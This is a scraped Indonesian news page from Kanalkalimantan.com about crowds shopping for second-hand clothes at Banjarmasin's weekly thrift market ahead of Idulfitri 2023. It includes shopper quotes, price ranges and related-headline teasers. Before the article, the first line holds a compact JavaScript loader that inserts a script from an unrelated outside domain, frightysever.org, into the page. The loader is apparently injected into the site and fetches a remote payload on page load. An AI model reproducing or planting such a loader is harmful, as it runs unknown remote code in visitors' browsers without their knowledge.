(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kurang sepekan menjelang hari raya Idulfitri 1444 hijriyah, pasar tungging -sebutan warga Banjar untuk pasar loak alias lapak thrift- di Jalan Pasar Baru, Kota Banjarmasin, ramai diserbu ribuan pemburu pakaian berharga ramah di kantong, Minggu (16/4/2023) siang.
Lapak thrift terbesar di Banjarmasin ini memang dibuka hanya sekali dalam sepekan. Sekadar diketahui thrifting alias kegiatan mencari pakaian bekas dengan harga hemat saat ini sudah menjadi cara sebagian orang mencukupi kebutuhan sandang mereke. Sebenarnya kata thrif dalam bahasa Inggris artinya hemat.
Para pengunjung mulai dari orang dewasa sampai anak-anak rela berjejal untuk memilih dan membeli barang yang tersedia dengan harga sangat terjangkau.
Pantauan Kanalkalimantan.com, bahan sandang yang banyak dibeli pengunjung pasar yaitu baju dan celana bekas. Juga ada pemburu barang penunjang lainnya seperti tas bekas, sepatu bekas, dan aksesoris lainnya.
Baca juga:Â Anggota Pers Mahasiswa Habiskan Ramadhan Bersama Anak Panti Asuhan di Banjarmasin
Memang hanya setiap hari Minggu, pasar yang digelar atau buka di sepanjang kurang lebih 500 meter ini banyak menjual barang-barang bekas baik impor luar negeri maupun dari dalam negeri.
Selain menjual pakaian, pedagang di pasar loak tersebut juga tersedia barang elektronik bekas, onderdil bekas, hingga barang-barang antik.
Meskipun disebut kurang higienis untuk dipakai kembali karena bisa membahayakan bagi kesehatan mengandung jamur, masyarakat seakan tak peduli dan tetap membeli pakaian bekas yang diyakini punya merek-merek ternama dunia tersebut.
Warga memadati pasar loak Banjarmasin untuk membeli pakaian thrifting, Minggu (16/4/2023). Foto: Rizki
“Karena harganya murah dan pakaiannya masih layak banyak yang bagus juga. Jadi kita pilih bekas,” ungkap Siti, salah satu pengunjung pasar.
Sementara itu, untuk kisaran harga pakaian yang dijual pelapak thrift bervariasi, mulai dari puluhan ribu hingga ratusan ribu. Itu tergantung kualitas dan merk pakaian yang diperjualbelikan.
Misalnya seperti tas impor dan sepatu impor dijual dengan harga kisaran ratusan ribu. Berbeda dengan pakaian bekas impor maupun dalam negeri yang hanya dijual dengan kisaran harga puluhan ribu.(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.